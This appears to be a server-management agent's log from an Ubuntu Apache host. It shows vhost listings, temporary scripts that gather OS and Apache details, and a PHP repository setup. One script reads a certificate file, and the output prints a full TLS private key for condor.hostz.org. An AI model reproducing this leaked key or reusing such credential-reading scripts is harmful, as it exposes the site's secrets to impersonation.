port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-14 06:00:47:
PUT: /tmp/pkp465586
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_condor_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-14 06:00:47:
chmod 755 /tmp/pkp465586; /tmp/pkp465586; rm /tmp/pkp465586
2025-11-14 06:00:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_condor_org.conf 1822
<VirtualHost *:80>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/condor_access.log combined
ErrorLog /var/log/apache2/hostz/condor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName condor.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt
DocumentRoot /var/www/hostz_condor
<Directory /var/www/hostz_condor>
Options +FollowSymLinks -MultiViews
AllowOverride All
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_condor/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/condor_secure_access.log combined
ErrorLog /var/log/apache2/hostz/condor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-14 06:00:47:
PUT: /tmp/pkp383879
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-14 06:00:47:
chmod 755 /tmp/pkp383879; /tmp/pkp383879; rm /tmp/pkp383879
2025-11-14 06:00:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/452589c154b484450eedc2df554d68f3.crt 5349
14:bf:94:e1:97:82:13:9d:9c:69:8f:0b:b9:5c:f8:d9
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBv5STSHH+2vPOt1UcNQz678+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTE0MDUwMjE1WhcNMjYwMjEyMDUwMjE0WjAbMRkwFwYDVQQD
ExBjb25kb3IuaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA5A+CsA9KzfZx4NOB+XQ0aHFV29KROf0iuo7+uPKy6jEKdF4N+gRlS/XAWFQr
/W+jm/+yu3Z5WFw5K1JfnpwbkUX6lPaCcXw/Azk0Bq7PzBVpjw/WpJNYKaUmxXxO
tnV67Md80R7dDjEifOhVrNqKr7GjasIaRPT/HwMAIVJ2X7jUdoRB6OQGn+Fp9i7M
AEFZSrqYLq2sw2Qj/zCoeLSsXQpr27FXK4sepSSxliINGbpMPfylDYvap8CnA4LA
rionv+jx01xYScp6l2eAEYLI0TiHpX8edeKGZs6Xglc+Qy/T+jDa9WlXnSR6/8BU
ctYNt1e7bFIUYUy2AH9DvuDNewIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT/VR3N0u2jl//fjA4HEODls90TdzAfBgNVHSMEGDAWgBQAtSnyLY5v
MeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTIuaS5sZW5jci5vcmcvMBsGA1UdEQQUMBKCEGNvbmRvci5ob3N0ei5vcmcw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82My5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgDL
OPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZqA87AwAAAEAwBHMEUC
IBaRy6TTBRCeDkXegsH7TGfP3PTZS3cQsJifzPlAiL5sAiEAn4/FJamY7hv7nFNm
b0kiGTU1xo+pe60smJDMXOtS04QAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0h
qSWsYcVOIQAAAZqA87AMAAAEAwBIMEYCIQDfMt6huFnxYHrilrlq/pR6YPfFZ3Q3
/zogU+snCAjQUwIhAIJ/TDda32w1djcAq+EcE4VTgyEdGc8M/hC0KmwBNNE0MA0G
CSqGSIb3DQEBCwUAA4IBAQDC2YwaM+RBe6FiimY6JtmzqexmCUkAVoIB0TaY7khm
ibo8jzh/OPSdiqPwCYpWUFJ5Dg2ZZlTUcQ/vz4IgeaiNzVCKYMPhDFFD7xTcJFJ7
/irR1tw3wP4CRWmENLs+021e34eUlBG2dvUxO9KKZyNdG7U3TTVCP+PbA2m3aK4y
9YBXgf4+fEDIhwKUJjUNkxRUniKIniKledQp9o0eMu3Ep1WDIaeyQvZVI69cFz2p
+aUugUKv+OkJoacy9mZgUTaA+CHVRhDlRqJ6b8g9lsdfh/imCLSy9Wli272QsBbv
aU2igce0nmqvZHf7UPxYY21aaIe7cUFL81gSQGCysNm1
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDkD4KwD0rN9nHg
04H5dDRocVXb0pE5/SK6jv648rLqMQp0Xg36BGVL9cBYVCv9b6Ob/7K7dnlYXDkr
Ul+enBuRRfqU9oJxfD8DOTQGrs/MFWmPD9akk1gppSbFfE62dXrsx3zRHt0OMSJ8
6FWs2oqvsaNqwhpE9P8fAwAhUnZfuNR2hEHo5Aaf4Wn2LswAQVlKupgurazDZCP/
MKh4tKxdCmvbsVcrix6lJLGWIg0Zukw9/KUNi9qnwKcDgsCuKie/6PHTXFhJynqX
Z4ARgsjROIelfx514oZmzpeCVz5DL9P6MNr1aVedJHr/wFRy1g23V7tsUhRhTLYA
f0O+4M17AgMBAAECggEBAJ+pACwzuIHyq4zjZhX2tY388kff5Y38WqjS3R8rwffU
d2Y6RnynQSdpl8v+uYFG+/qFi2JUMeWbQubCV3DaBy6wGBrbbTz358Fg9bxL++v7
fZgLVZCIGuuk1DzjptNz8af8jLR2b/m0ill56ikGIpuXuDlQREXMYyMZ3ah2a6rc
j4du73NThgSVVxy8n5tAv+w5gQfouaDElyN5PSexEcDM3r3pHMs27pybVlMhHDuS
8B/m9QK/V2bgGlGtUtuVh71ySR4MdmDS/FRa2fRjtOUifjQLozead4Zj2FMhuFjm
Ibw5HS91nENPnK/w8nQmIc1YhDvYP5HJ8MvU2mT9aVECgYEA8iFF6bZzCiEtpKNc
RCBhlpm/CRMwn1alJGiXP8VVXCGnh3ja2/WQLKNP7SqfAU7Gntg+IUZ1q4DXhDAI
hQRJMlCvlnx/18emAZAyjczBjlas29c3xHlrb3TqCdQ/mu3+Jr34YJ4SKO7FAdeK
NJ2aoRoxaRNiSDD3TXjVOpCCwukCgYEA8R/qjMoUZrbTcU4Ax1DavON+K/GJVIu9
ZcYOwyWv3UZvpOnG5LWG7EvRTXyx3lTf050Fd1HpeT4z8mmlBqhMK4BdVjn6UqXJ
8SrU9qWykx4wZEb3rDCabMK/jP/cpEW1NTcG3IGhP4mnaWcS5dZmjLdtllsTnHAc
nYhGOztB5sMCgYBzWA5qC5Q52xxXNcsaWSKkD5HFzPJ4tVnuQjTrGCJVxWJ9UsFP
z2djHFlS7d7ZTKGpwfG3AE3F6ZbBTfCBDU2hPnanBaARNvaKABtVGZmLKRcnkxrp
6b2YVuW20PmL4JwV8KGFxUd5YGVRP1CDSCEFZejr2WQUZ98ndMx/HaBtIQKBgQDI
50vZZKJc9qX0OQbjC1ZFndLJsGU5QXlcLAquxF7kokRxhqtGco1por5Qrr3Qvq0D
t0gPo/tBHvfPWgC7LEzSzhB2wLX2WNaKj6KDo4nHlJbDZnIEUTbJufY5+BGR+dbC
8QdRgNymgP4xD0WqpNorEsZHSblsVekxxJKn1XbSWwKBgFoMYe5EQJ1deh7T2Yc7
96YhjedctQuGEXgSGS+4lVMVL6JlymEuPqw/NgFdyAVWAMpzcvO4d1XlN9WKCBOv
LpaE2AIMw0kFi1dCoyzhLHJmJyDJ+pBVw67x/8mCWAsM0sWTtHPCI4eb9NK8KaA+
FKFPG7V5eJ2XaXEgmpplXLGG
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-14 06:00:47: Establishing a connection
2025-11-14 06:00:48: Establishing a connection
2025-11-14 06:00:49:
PUT: /tmp/pkp506340
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-14 06:00:50:
chmod 755 /tmp/pkp506340; /tmp/pkp506340; rm /tmp/pkp506340
2025-11-14 06:00:50:
0
2025-11-14 06:00:51: Establishing a remote connection
2025-11-15 06:00:02: Establishing a connection
2025-11-15 06:00:03: Establishing a connection
2025-11-15 06:00:04:
PUT: /tmp/pkp936235
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-15 06:00:05:
chmod 755 /tmp/pkp936235; /tmp/pkp936235; rm /tmp/pkp936235
2025-11-15 06:00:05:
0
2025-11-15 06:00:05: Establishing a remote connection
2025-11-16 06:00:03: Establishing a connection
2025-11-16 06:00:04: Establishing a connection
2025-11-16 06:00:05:
PUT: /tmp/pkp347194
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-16 06:00:06:
chmod 755 /tmp/pkp347194; /tmp/pkp347194; rm /tmp/pkp347194
2025-11-16 06:00:06:
0
2025-11-16 06:00:06: Establishing a remote connection
2025-11-17 06:00:02: Establishing a connection
2025-11-17 06:00:04: Establishing a connection
2025-11-17 06:00:05:
PUT: /tmp/pkp511623
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-17 06:00:06:
chmod 755 /tmp/pkp511623; /tmp/pkp511623; rm /tmp/pkp511623
2025-11-17 06:00:06:
0
2025-11-17 06:00:06: Establishing a remote connection
2025-11-18 06:00:01: Establishing a connection
2025-11-18 06:00:03: Establishing a connection
2025-11-18 06:00:04:
PUT: /tmp/pkp724745
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-18 06:00:05:
chmod 755 /tmp/pkp724745; /tmp/pkp724745; rm /tmp/pkp724745
2025-11-18 06:00:05:
0
2025-11-18 06:00:05: Establishing a remote connection
2025-11-18 16:24:42: Establishing a connection
2025-11-18 16:24:56: Establishing a connection
2025-11-18 16:24:57: Performing Server Status
2025-11-18 16:24:57:
PUT: /tmp/pkp207768
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-11-18 16:24:58:
chmod 755 /tmp/pkp207768; /tmp/pkp207768; rm /tmp/pkp207768
2025-11-18 16:24:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 2048 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-87-generic
2025-11-18 16:24:58:
PUT: /tmp/pkp165956
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-11-18 16:24:59:
chmod 755 /tmp/pkp165956; /tmp/pkp165956; rm /tmp/pkp165956
2025-11-18 16:24:59:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32832
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 32832 0.0 0.2 256304 35320 ? Ss Oct31 0:50 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_html_module (shared)
proxy_http_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
xml2enc_module (shared)
2025-11-18 16:24:59:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'rog',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swap.img',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'proxy_module',
26 => 'proxy_html_module',
27 => 'proxy_http_module',
28 => 'proxy_wstunnel_module',
29 => 'reqtimeout_module',
30 => 'rewrite_module',
31 => 'setenvif_module',
32 => 'socache_shmcb_module',
33 => 'ssl_module',
34 => 'status_module',
35 => 'xml2enc_module',
),
),
)
2025-11-18 16:24:59:
PUT: /tmp/pkp547728
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-11-18 16:24:59:
chmod 755 /tmp/pkp547728; /tmp/pkp547728; rm /tmp/pkp547728
2025-11-18 16:25:00:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
